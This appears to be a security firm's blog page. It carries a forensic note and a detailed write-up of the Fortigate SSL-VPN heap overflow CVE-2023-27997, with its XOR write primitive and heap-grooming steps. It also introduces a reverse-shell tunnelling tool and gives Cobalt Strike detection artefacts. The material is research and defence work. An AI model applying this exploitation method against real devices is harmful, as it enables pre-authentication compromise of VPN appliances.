Auteur/autrice : LexfoMLB

AMBIONICS

Évaluation offensive en continu de la sécurité de vos applications Web.

Formations techniques en sécurité applicative

Sensibilisation et formation d’un grand nombre de collaborateurs aux risques et aux enjeux liés à la sécurité des développements.

Réponse à incident de grande ampleur

Intervention du CSIRT LEXFO sur un SI d’environ > 10k serveurs et 400 Active Directory

Audit interne d’un centre hospitalier

Réalisation de tests d’intrusion afin d’évaluer le niveau de sécurité d’un réseau interne.

Audit de sécurité d’un alterno-démarreur de véhicules hybrides

Réalisation d’un audit de sécurité afin d’évaluer la sécurité d’un alterno-démarreur de véhicules hybrides intégrant une solution antivol.

CVE-2023-27997 – Forensics short notice for XORtigate

Taking this into account, we first tried to locate the execution of different exploits in the equipment’s GUI. Some crash of the /bin/sslvpnd process helps to identify a few, but as explained in the article (and tested), the vulnerability can be exploited without crashing the /bin/sslvpnd process.

In order to obtain interesting traces, two approaches were used:

1) Use of the exploit to take control of the equipment in order to collect system evidence and RAM:

This step will not be detailed here. However, it is important to note that the exploitation of the CVE allows the entire device to be compromised, without leaving any trace on the disk, and allows the attacker to modify any evidence if he wishes. Likewise, we will not go into the various ways of setting up persistence.

2) Use of the equipment command line interpreter:

We tried that way because it fits with our test environment, you may access these logs in a different way.

# Set up the logs on your prompt
CLI > diagnose debug enable

# Set up the configuration
diagnose debug application sslvpn 0xflag_you_want_in_hexa

The configurations set up to identify the first traces of CVE execution are the following

sslvpn debug level is 2167679 (0x21137f)

Log Level:
Emergency             0x00000001 : enable
Alert                 0x00000002 : enable
Critical              0x00000004 : enable
Error                 0x00000008 : enable
Warning               0x00000010 : enable
Notice                0x00000020 : enable
Information           0x00000040 : enable
Debug                 0x00000080 : disable

Log Module:
SSL Information       0x00000100 : enable
HTTP proxy            0x00000200 : enable
RADIUS Frame IP       0x00000400 : disable
Mod gzip              0x00000800 : disable
Authentication        0x00001000 : enable
FTP                   0x00002000 : disable
SMB                   0x00004000 : disable
SFTP                  0x00008000 : disable
HTTP request          0x00010000 : enable
DNS                   0x00020000 : disable
DTLS state            0x00040000 : disable
DTLS tunnel           0x00080000 : disable
LibPPP                0x00100000 : disable
WebSocket             0x00200000 : enable
Telnet                0x00400000 : disable
SSH                   0x00800000 : disable
RDP                   0x01000000 : disable
VNC                   0x02000000 : disable

and,

sslvpn debug level is 2167807 (0x2113ff)

Log Level:
Emergency             0x00000001 : enable
Alert                 0x00000002 : enable
Critical              0x00000004 : enable
Error                 0x00000008 : enable
Warning               0x00000010 : enable
Notice                0x00000020 : enable
Information           0x00000040 : enable
Debug                 0x00000080 : enable

Log Module:
SSL Information       0x00000100 : enable
HTTP proxy            0x00000200 : enable
RADIUS Frame IP       0x00000400 : disable
Mod gzip              0x00000800 : disable
Authentication        0x00001000 : enable
FTP                   0x00002000 : disable
SMB                   0x00004000 : disable
SFTP                  0x00008000 : disable
HTTP request          0x00010000 : enable
DNS                   0x00020000 : disable
DTLS state            0x00040000 : disable
DTLS tunnel           0x00080000 : disable
LibPPP                0x00100000 : disable
WebSocket             0x00200000 : enable
Telnet                0x00400000 : disable
SSH                   0x00800000 : disable
RDP                   0x01000000 : disable
VNC                   0x02000000 : disable

It has to be noted that we found evidence of the execution on both configurations. Thus, the Log level at « Debug » (0x00000080) may not be necessary to detect the exploit.

Short analysis

Below is an extract of the executions that can be found on the test environment with the 2nd collection approach.

This summary is not an exhaustive analysis, but it does highlight a few patterns.

32-bit environment

The 1st step which appears is the step to obtain the salt. As explained in the blog, salt is a random value created by the server, which can be retrieved by issuing a GET request to /remote/info.

The second request that appears /remote/hostcheck_validate corresponds to the set up of the heap.

At the very beginning of the following capture, we noticed the /remote/error request, which is a way found to force the reallocation of the buffer for the HTTP response, in order for « out » to take its place in the heap. « out » is then allocated on the top of the SSL structure.

Next, the following requests are related to the « xorverflow » which rewrites the SSL structure. It is important to note that, depending on the payload used, the volume of these requests may vary in the logs. This means that depending on the opponent you are looking for, the behavior can vary in the logs:

Standard threat actor: For overflow to be optimal and functional, these requests need to be sent at extremely short intervals. The timing of these requests is therefore more important than their volume (from a forensics/detection perspective).
Advanced Threat Actor: If the heap is set up correctly, there is no need to send successive requests. The rewriting of the SSL structure can be perfectly spaced out over time.

One step that is specific to the CVE-2023-27997 exploitation on 32bit is the queries that are made to the web page that echoes back some inputs. It is these requests that we found in the last section of the screen.

The URL is not described here (as in the original blog), but it should be noted that different approaches (or URL requested) may work.

64-bit environment

The 64-bit environment broadly follows the same logic when we look only at the existing traces. First, the salt is retrieved and the /remote/saml/logout that appears after corresponds to the set up of the heap.

As expected, a rewriting of the SSL structure follows with a lot of requests for this payload (364 requests).

Note: I would like to emphasize once again the existence of certain payloads that could, for example, be successful with just 5 requests. Here, the sequence of requests is therefore the point to pay attention to, not the number of requests.

We also noted the presence of the « enc » variable in the request /remote/hostcheck_validate?enc=value, which is targeted in this vulnerability. However, this value is truncated. The hexadecimal value displayed corresponds to the value of the seed. The seed value generally starts with « 0x00 » and must be 8 hexadecimal character long. No trace of payloads has been identified with this approach.

The « enc » variable is encrypted with a keystream generated from a constant, a value provided by the server (the salt, which changes at runtime), and a value provided by the attacker (the seed). As a result, you cannot always « decrypt » the payload, as if the main sslvpnd process had crashed, the salt would have changed.

Conclusion

In addition to the « blue teamers » elements mentioned in the original blog, it is possible to identify the execution of the CVE-2023-27997 in our test environment. From a defensive point of view, the first thing to remember is to apply the editor’s patch.

If you need to carry out a forensic analysis, in the hope that the integrity of evidence has been preserved, we advise the following:

Do not rely solely on the application crash of the /bin/sslvpnd process;
Take an interest in the sequencing of the requests used in the logs;
Question the presence of /remote/logincheck and /remote/hostcheck_validate requests;
Investigate the presence of HTTP requests containing the variable « enc » and do not forget the possibility for the attacker to use the POST request;
Pay attention to the size of « enc »;
Read how this vulnerability works in detail;
And most importantly, stay proactive in monitoring the news concerning the investigation of this CVE. This leaflet may be incomplete. Additions and adjustments will be made as real cases come to light.

XORtigate: Pre-authentication Remote Code Execution on Fortigate VPN (CVE-2023-27997)

We’ll describe here the bug and the exploitation process on two architectures, along with a few pointers for blue teamers.

The bug

The bug is located on the web interface that allows users to authenticate to the VPN. This interface is, by design, internet-facing. If we hit the path /remote/hostcheck_validate, we can send an HTTP parameter named enc, through GET or POST. The parameter, which does not seem to be much used now, seems to be an old way for Fortigate to forward HTTP parameters across requests.

The enc parameter is a structure containing a seed, size (2 bytes) and data. Both size and data are encrypted.

The seed, stored as 8 hexadecimal characters, is used to compute the first state of a XOR keystream:

S_{0} = M D 5 (s a l t ∣ s e e d ∣ ‘ ‘ {GCC is the GNU Compiler Collection.}^{''})

salt is a random value created by the server, which can be retrieved by issuing a GET request to /remote/info.

The other states of the keystream are computed like so:

\begin{matrix} S_1 = MD5(S_0)\\ S_2 = MD5(S_1)\\ S_{n+1} = MD5(S_n)\\ \\ S = S_1 | S_2 | S_3 | … | S_n\\ \end{matrix}

The keystream $S$ can be xored to the rest of the enc payload, the size and the ciphertext, to decrypt them. It is sent as an hexadecimal string.

The decryption method looks like this (simplified code):

int parse_enc_data(char *in)
{
    int in_len = strlen(in);
    int given_len;
    int xored_given_len;

    if(in_len & 1)
    {
        return 1;
    }

    compute_key_zero(salt, in, 8, md5); // [1] Computes key from salt, seed

    out = alloc_block(*pool, (in_len >> 1) + 1); // [2] Allocate a buffer
    unhex(out, in); // [2] Hexa-decode in to out

    if (out[0]) // first byte of seed must be 0x00
    {
        ap_log_rerror((__int64)a1, 8LL, (__int64)"invalid encoding method %d\n", needs_null);
        return 1;
    }

    // [3] Decrypt given length
    xored_given_len = *((_WORD *)out + 2);
    given_len = (unsigned __int8)(xored_given_len ^ md5[0]);
    BYTE1(given_len) = md5[1] ^ HIBYTE(xored_given_len);

    if ( inlen - 5 <= given_len ) // [4] Verify bounds
    {
        ap_log_rerror(a1, 8LL, "invalid enc data length: %d\n", given_len);
        return 1LL;
    }

    // [5] Decrypt: xor every input from byte 6 (4 bytes for seed, 2 bytes for length)
    p = &out[6];
    if (given_len)
    {
        int i = 0LL;
        while (i < given_len)
        {
            p[i] ^= md5[(i + 3) % 16];
            if ((i + 3) % 16 == 0) // Current state is exhausted: compute new
            {
                MD5_Init(md5_ctx);
                MD5_Update(md5_ctx, md5, 16LL);
                MD5_Final(md5, md5_ctx);
            }
            ++i;
        }
    }
    out[6 + given_len] = 0; // [6] Append null byte

    add_kvp_to_hashmap(a1->params, out); // [7] Process plaintext

    // Allocated buffers get freed at the end of the HTTP exchange
    return 0;
}

The function behaves like so:

Compute an MD5 (16 bytes), which is the first state of the key from the salt and the seed (first 8 chars of in)
Allocate a buffer of size in_len / 2 + 1, out, and hexadecimal-decoded input into it
Compute the length given by the user, given_len, by xoring the first two bytes of the payload with the first two of the key
Bound check: verify that the given length is not greater than the size of the buffer
Decrypt the whole string in place: XOR the first 14 bytes, then compute a new state
use it to XOR the 16 next bytes, and repeat.
Put a NULL byte at the end of the decrypted data
Add decrypted values to the hashmap containing HTTP input params

The bug is easy to spot: when the program checks that the given length is not greater than the length of the sent payload, it compares in_len to given_len. But while the former describes the length of the payload in hexadecimal (e.g. '41424343'), the latter describes its size in raw bytes (e.g ‘ABCD’). As a result, given_len can be twice as big as it should be.

This bug allows us to apply the decryption process to not only to the ciphertext in out, but also to the memory that comes after.

This makes for a funny bug: instead of just overwriting bytes in the heap, we get to XOR them with some MD5!

Exploit theory

The bug allows us to allocate a chunk of arbitrary size $N$ , out, and then XOR bytes after the buffer with a keystream of MD5 hashes, for which we partially control the key. We control the size of the allocated buffer, and the size of the XOR overflow. In addition, the last byte of the overflow gets nulled.

Hereafter, we name $B_i$ $B_{i}$ the i^th byte in memory, and $K_{i}$ the i^th byte of the keystream. Therefore, triggering the bug with a length of $L$ applies:

${\begin{cases} B_{i} ≔ B_{i} \oplus K_{i} with i \in [0, L - 1] \\ B_{L} ≔ 0 \end{cases}$

We « control » the MD5 hashes because we partially control the bytes used to create the first one:
$\begin{cases} S_0 = MD5(salt | seed | \text{ »GCC is the GNU Compiler Collection. »})\\ S_{n+1} = MD5(S_n)\\ S_n = K_{8 \times n} \enspace \text{to} \enspace K_{n \times 8+7} \end{cases}$

It’s easy to enforce the value of some bytes of the keystream by bruteforcing with the seed. We can’t, however, hope to control all of it.

First idea

The first thing that comes to mind, is xoring the LSB of some address to change its position. Something like this:

00 C9 12 32 BB 7F 00 00 (0x7FBB3212C900) [Original pointer]
30 63 00 00 00 00 00    (0x000000006330) [Part of keystream]
----------------------- XOR
30 AA 12 32 BB 7F 00 00 (0x7FBB3212AA30) [Modified pointer]

However, this is costly: we need to find an MD5 hash which starts with 306300000000. This hash is the hash of another one, which is the hash of another one, etc. If the distance from the hash to the pointer we want to modify is 0x1000 for instance, this would be the 256th state of the key stream. Not to hard to compute once, but to bruteforce…

Even if we manage to get such a hash, the data previous to this modified pointer would get garbled, because it’d be XORed with previous hashes, whose contents we cannot choose.

jemalloc: some allocator

As it sounded pretty hard to get anything working, we took a look at the underlying allocator, to see if there were any way to leverage the bug.

The underlying heap, jemalloc, was unknown to us at the time. We were in a hurry (understand: I ragequit when trying to make shadow work) and not looking to acquire a deep understanding of it. Here’s what we learned about it:

Heap metadata is stored independently; you can safely overflow from one chunk (region) to another
You can easily get contiguous allocations (after filling holes)
There is some kind of LIFO mechanism on allocations of the same size: freeing a chunk of size and allocating the same size yields the same pointer.

The last point actually makes the exploitation very much easier: we can allocate the buffer we overflow from, out, at the same address, repeatedly.

A powerful primitive

Triggering the bug once makes it look like a bad primitive.

However, since we can consistently allocate the out buffer at the same spot in memory, several times, the primitive becomes very good. Indeed, we know that applying the same XOR twice to a value leaves it unchanged:

$B_i \oplus K_i \oplus K_i = B_i$

If we were to trigger the bug twice, with exactly the same parameters (seed and length), and if the two out buffers were allocated at the same memory address, each byte in the overflow would get XORed twice with the same value. We’d have completely unchanged memory, except for one byte which would be set to NULL. An improvement: a way to set a byte to zero, with no side effects.

Moreover, triggering the bug twice with the same seed, only the first time setting the length of the overflow to $L$ , and the second time to, yields even better results.

On the first iteration, we would have completely messed up data until the byte at offset $L$ , which would be NULL. On the second iteration, every byte would get xored with the key twice, and thus become its old self again, except for $B_L$ , which would take the value of $K_L$ , as $0 \oplus K_L = K_L$ . Byte $L+1$ would become NULL. We’d have:

\begin{cases} B_i \enspace \text{unchanged with} \enspace i \in [0, L-1]\\ B_L = K_L\\ B_{L+1} = 0 \end{cases}

So, to give byte $L$ an arbitrary value $V$ , we would have to set byte $L+1$ to $V$ , and all other bytes would get their old value xored with $V$ twice:

\begin{cases} B_i = ((B_i \oplus (V \oplus K_L)) \oplus (V \oplus K_L)) \enspace \text{with} \enspace i \in [0, L-1]\\ B_{L+1} = V \end{cases}

So, to give byte $L$ an arbitrary value $X$ , we can just compute a keystream such that $K_{L} = X$ , and apply the primitive twice, once with length $L$ , and once with length $L + 1$ .

Here’s an example: we want to set $B_{5000}$ to $0 x 50$ . We compute a seed such that $K_{5000} = 0 x 50$ . This is the 8^th byte of the 250^th state, so $S_{250} [8] = 0 x 50$ . If for instance the salt is $e0b638ac$ , we can use the seed $00690000$ to get:

$S_{250} = 917be51232917698 50 41ff4c5d50126e$

We then apply the primitive with length 4999. We get the following:

We apply it a second time, with length 5000:

Improving efficiency

We can actually do better, and overwrite several bytes in a row, with one request per byte! Say we want to write ABC\0 in memory, $L$ bytes after the overflowed buffer. We first compute a seed $s_0$ such that $K^{s_0}_{L+2} = `C’$ .

Then, we compute a seed $s_1$ such that:

Using the primitive 4 times, we managed to write ABC in memory! This technique has, however, a huge let-off, as it messes up everything that comes before the modified memory. For the rest of the blogpost, we’ll stick to the initial technique, which requires 2 requests to set one byte.

Exploit practice

Now that we have a decent primitive, we need to find something to overwrite.

Target of choice: SSL

In 2019, Meh Chang and Orange Tsai exploited a heap overflow on the same binary, and chose to modify a structure named SSL. This kind of structure is allocated whenever a client connects to a worker process of sslvpnd, and gets destroyed when the client or the server closes the socket.

This is a perfect target for us.

First, because our primitive requires us to trigger the bug multiple times, and we need to attack a heap structure that persists accross HTTP requests.

Second, because the structure contains a callback handler, handshake_func. Due to the binary not being PIE, we can modify the value of this function pointer, and force the socket to perform an SSL handshake. From there, a standard stack pivot into whatever gets us a nodejs shell (there’s no sh!).

To setup the heap, we’d need to have an empty chunk right before some SSL structure associated with a socket we control.

Attacking on 64 bits

Our test environment was a VM running on Intel 64 bits. The SSL structure has a size of 0x1db8 bytes, so it is allocated in a 0x2000-byte region.

Right before the allocation of the SSL structure, a buffer of size 0x2000 also gets allocated, in order to store the raw HTTP request sent by the client. With an unfragmented heap, the buffer sits on top the SSL structure in memory. This is where we’d like to have out! Luckily, if a client sends a request which is larger than 0x2000 bytes, the program reallocates the buffer, leaving the region empty. As the allocator is LIFO, and we control the size of out, this makes for a very clean exploit:

Create lots of sockets to the HTTPd service (fills gaps):

SSL structures get created, contiguous to request buffers
Send a huge HTTP request on the last socket, to force the buffer to be reallocated:

HTTP request buffer gets reallocated
Use another socket to exploit the vulnerability; out gets allocated right where we need it:

out is allocated on top of the SSL structure
As the sslvpnd binary is huge, the ROP chain is not too hard to build. It is left as an exercise to the reader.

Note: schemas greatly inspired from this one.

Attacking on 32 bits

We discovered a while later that there were Fortigate builds for 32-bit architectures, such as ARM. Our redteam target was running on such a processor. In 32 bits, the SSL structure is basically half the size as it is in 64 (it is mostly made of pointers), so it gets allocated in regions of size 0x1000. The heap setup aforementioned does not work.

We are, however, extremely lucky: in addition to the 0x2000 buffer, the program allocates a 0x1000 buffer to store… the HTTP response. Which also gets reallocated, when too big. Without too much trouble, we were able to find a web page that echoes back some input, resulting in a 32-bit exploit:

Create lots of sockets to the HTTPd service (fills gaps)
Take the last connexion, and a request with a huge POST parameter
The parameter gets echoed, forcing the reallocation of the HTTP response buffer
Use another socket to exploit the vulnerability: the overflowed buffer gets allocated right were we need it.
ROPchain left as an exercice, again.

A few notes for red teamers
We’re withholding the notes until a later date.

A few notes for blue teamers
We believe that providing as much details as we can on the vulnerability will allow you to better understand and protect against it.

Crash or no crash ?
As with all binary exploits, a crash is possible. You might notice in your logs crashes of the /bin/sslvpnd process. However, with proper exploits, you will not detect any.

Indicators
The bug is exploitable by issuing GET/POST requests to any of the two URLs: /remote/hostcheck_validate, and /remote/logincheck. Simple exploits will require several HTTP requests in quick succession to any of these URLs. It is however possible to make the exploit slower, by carefully setting up the heap.

Post-exploitation
It is possible for the attacker to live exclusively in memory, without modifying anything on the disk. Although reboots might remove in-memory payloads, there are ways to attain persistence on the appliance. The best way to protect yourself is to PATCH.

Demonstration
The video shows the first exploit we built, targeting x64:

CVE-2023-27997 fortigate Fortinet Heap Overflow Xor Xortigate

Sshimpanzee

A need for a reliable and secure reverse shell

During our redteam engagements, there are plenty of situations where we get an arbitrary code execution but cannot get a direct shell connection using standard reverse shell tools because of some network filtering. More importantly, we need some network pivot capabilities such as proxies or port forwarding. This led to the development of sshimpanzee a static reverse OpenSSH server which offers tunnelling mechanisms such as DNS or ICMP.

How does it work ?

Build options will not be detailed here as they are documented on sshimpanzee’s README.md. Instead, this article will give insight about how sshimpanzee works.

Building a reverse sshd

sshimpanzee brings a set of patches to OpenSSH’s sshd. Starting from a standard OpenSSH server it is fairly easy to make it « reverse ». This is due to the fact that both accept() and connect() libc calls (and syscalls) return the same type of object: fd. Thus, when initializing the network part in the listen_on_addrs() function, it is possible to remove every call to bind and listen.

Reverseshell Sshimpanzee Tunnelling

Cobalt Strike Investigation – Part 2

Approach

The aim here is to provide basic information on the kinds of logs and other artefacts that could be generated from Cobalt Strike on a default Windows 10 host. To get a better context and understanding, we enabled Sysmon on the victim workstation, in order to get a baseline to compare with.

The tests were done with Cobalt Strike version 4.4 with the default configuration, without any kind of customization. It is important to note that Cobalt Strike allows users to change various settings (pipe names, service name, default temporary process, etc.) to customize its footprint. Depending on the Cobalt Strike settings used by the attackers, the events generated may be slightly different and detection rules may fail.

Each command was executed twice to avoid false positives, and the investigations were conducted on one of these two executions. This short analysis can be later on used as a reference to build rules to detect Cobalt Strike movements during a forensics incident response (without Sysmon or Audit Policies).

The Lab is composed of the following elements:

Windows 10 workstations with Sysmon installed,
Windows Server 2016 Domain Controller.

The different steps and tools used to extract and analyze the artefacts post compromise are:

Run DFIR-Orc to extract artefacts on the Windows 10 machine;
Run log2timeline/plaso on the extracted data to build a clear timeline;
Analyze data using Splunk or Kibana (ELK fullstack with custom Logstash configuration).

By using DFIR-Orc and Plaso, we were able to process the most important artefacts:

Event logs (*.evtx), including PowerShell command history;
Prefetch files among other execution evidence;
NTFS artefacts, such as USNjrnl and MFT;
User and System hives (userassist, appcompatcache, etc.).

Findings Summary

A summary of the most important findings (excluding Sysmon events) is available in the timeline below. It should be noted that these events alone do not constitute evidence of the use of a Cobalt Strike beacon, and further analysis, some of which is detailed in this article, needs to be conducted to validate or not the hypothesis of remote code execution. These timelines will be detailed and explained in the following chapters.

Cobalt Strike Commands	Time	Description
jump psexec64	13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_FILE_CREATE
jump psexec64	13:33:05.769	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bce7) with ‘-‘
jump psexec64	13:33:05.803	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bd0a) with ‘-‘
jump psexec64	13:33:05.829	[evtx/sys/scm/7045] Service ‘4542843’ (`\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)
jump psexec64	13:33:05.877	[prefetch] Prefetch [4542843.EXE] was executed – run count 1 path hints: [] hash: 0xB39DA9E6 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
jump psexec64	13:33:06.954	[prefetch] Prefetch [RUNDLL32.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\RUNDLL32.EXE hash: 0x64292FC9 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
jump psexec64	13:33:07.000	[evtx/sys/scm/7034] Service ‘4542843’ terminated unexpectedly (1 times)
jump psexec64	13:33:07.000	[fs/mft][macb] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` ($FILE_NAME), MFT:98397-10, PARENT: 93711-2
jump psexec64	13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_FILE_CREATE
jump psexec64	13:33:07.939	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_CLOSE USN_REASON_FILE_DELETE
jump psexec64	13:33:17.063	[fs/mft][macb] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` ($FILE_NAME), MFT:98393-10, PARENT: 93711-2
jump psexec64	13:33:17.063	[fs/usnjrnl] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` USN_REASON_FILE_CREATE
…	…	…
jump winrm64	13:38:10.193	[prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\WSMPROVHOST.EXE` hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]
jump winrm64	13:38:10.650	[evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘
jump winrm64	13:38:11.036	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005eb099) with ‘-‘
jump winrm64	13:38:11.614	[fs/usnjrnl] File ¨C10C USN_REASON_FILE_CREATE
jump winrm64	13:38:11.631	[fs/usnjrnl] File ¨C11C USN_REASON_FILE_CREATE
jump winrm64	13:38:11.964	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘9724’ in AppDomain ‘DefaultAppDomain’
jump winrm64	13:38:13.099	[evtx/powershell/400] The PowerShell engine state hosted by application ¨C12C is changed from ‘None’ to ‘Available’.
jump winrm64	13:38:13.705	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edc9b) with ‘-‘
jump winrm64	13:38:13.828	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edd18) with ‘-‘
jump winrm64	13:38:14.362	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C13C’ is executed (29 blocks)
jump winrm64	13:38:19.168	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005f30a3) with ‘-‘
jump winrm64	13:38:20.349	[fs/mft][macb] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($FILE_NAME), MFT:106956-3, PARENT: 93711-2
jump winrm64	13:38:20.349	[fs/usnjrnl] File ¨C14C USN_REASON_FILE_CREATE
…	…	…
jump psexec_psh	13:45:07.732	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000008629e3) with ‘-‘
jump psexec_psh	13:45:07.755	[evtx/sys/scm/7045] Service ‘4b3d5bc’ (¨C15C) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)
jump psexec_psh	13:45:07.755	[fs/mft][.a..] File ¨C16C ($STANDARD_INFORMATION), MFT:53610-1
jump psexec_psh	13:45:07.771	[prefetch] Prefetch [CMD.EXE] was executed – run count 2 path hints: ¨C17C hash: 0xAC113AA8 volume: 1 [serial number: 0x228095FD device path: ¨C18C]
jump psexec_psh	13:45:07.803	[prefetch] Prefetch [POWERSHELL.EXE] was executed – run count 5 path hints: ¨C19C hash: 0x767FB1AE volume: 1 [serial number: 0x228095FD device path: ¨C20C]
jump psexec_psh	13:45:07.833	[fs/mft][macb] File ¨C21C ($FILE_NAME), MFT:110491-2, PARENT: 93711-2
jump psexec_psh	13:45:07.833	[fs/usnjrnl] File ¨C22C USN_REASON_FILE_CREATE
jump psexec_psh	13:45:07.904	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x0000000000862fb5) with ‘-‘
jump psexec_psh	13:45:08.192	[fs/mft][..c.] File ¨C23C ($STANDARD_INFORMATION), MFT:56216-1
jump psexec_psh	13:45:09.308	[evtx/powershell/40961] A new PowerShell runspace have been created
jump psexec_psh	13:45:09.508	[fs/usnjrnl] File ¨C24C USN_REASON_FILE_CREATE
jump psexec_psh	13:45:09.520	[fs/usnjrnl] File ¨C25C USN_REASON_FILE_CREATE
jump psexec_psh	13:45:09.834	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘6920’ in AppDomain ‘DefaultAppDomain’
jump psexec_psh	13:45:10.348	[evtx/powershell/400] The PowerShell engine state hosted by application ¨C26C is changed from ‘None’ to ‘Available’.
jump psexec_psh	13:45:10.387	[evtx/powershell/40962] A PowerShell runspace have been closed
jump psexec_psh	13:45:10.681	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C27C’ is executed (1 block)
jump psexec_psh	13:45:11.213	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C28C’ is executed (1 block)
jump psexec_psh	13:45:11.246	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C29C’ is executed (1 block)
jump psexec_psh	13:45:17.990	[fs/usnjrnl] File ¨C30C USN_REASON_DATA_TRUNCATION

Cobalt Strike « jump psexec64 »

The Cobalt Strike jump psexec64 command allows the attacker to use the PsExec utility to execute a command or payload on a remote Windows system. When the jump psexec64 command is executed, it will use the active beacon to establish a connection to the specified Windows system, and then use the PsExec utility to run the malicious payload on the remote system. The command uses the psexec64 executable that is included in the Cobalt Strike package to run the command on x64 architectures. The Beacon type used for this test is smb.

Microsoft-Windows-Sysmon

As explained earlier, System Monitor (Sysmon) was installed on the Windows 10 workstation to have reference events on which to base our analyses. We therefore first reviewed the events recorded by Sysmon to get a baseline to compare with the extracted artefacts. The Sysmon events below have been filtered to keep the most useful ones.

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier.

By default, Cobalt Strike spawns a temporary process and uses rundll32.exe to inject the malicious code into it and communicate the results back to the beacon using named pipes. We can note that rundll32.exe executes without any arguments, which is very suspicious. The process chain created by the jump psexec64 command on the victim workstation is service.exe -> beacon.exe -> rundll32.exe.

Time	Description
13:33:05.883	[evtx/sysmon/1] Process created with command `\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe` (pid: 9612) by user ‘NT AUTHORITY\SYSTEM’ via `C:\Windows\System32\services.exe` (pid: 596)
13:33:06.960	[evtx/sysmon/1] Process created with command `C:\Windows\System32\rundll32.exe` (pid: 4648) by user ‘NT AUTHORITY\SYSTEM’ via `\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe` (pid: 9612)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.

In both of our tests, 3 connections using IPv4 are made to the victim. The first one on port 445, the second one on port 135 and the last one to a random port. Then, two IPv6 connections are recorded to port 445.

Time	Description
13:33:06.881	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54055) to host – (192.168.56.117:445) (pid=4)
13:33:06.884	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54056) to host – (192.168.56.117:135) (pid=832)
13:33:06.885	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54057) to host – (192.168.56.117:49692) (pid=596)
13:33:06.885	[evtx/sysmon/3] Tcp network connection from host – (fe80:0:0:0:d4bc:701f:e0a6:897d:49800) to host – (fe80:0:0:0:d4bc:701f:e0a6:897d:445) (pid=4)
13:33:06.885	[evtx/sysmon/3] Tcp network connection from host – (fe80:0:0:0:d4bc:701f:e0a6:897d:49800) to host – (fe80:0:0:0:d4bc:701f:e0a6:897d:445) (pid=4)

Event ID 7 – Image Loaded

The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.

The libraries loaded by the beacon are not very fancy. This information will not be useful without Sysmon installed on the victim workstation.

Time	Description
13:33:05.896	[evtx/sysmon/7] Image `C:\\Windows\\System32\\ntdll.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.897	[evtx/sysmon/7] Image `C:\\Windows\\System32\\kernel32.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.899	[evtx/sysmon/7] Image `C:\\Windows\\System32\\KernelBase.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
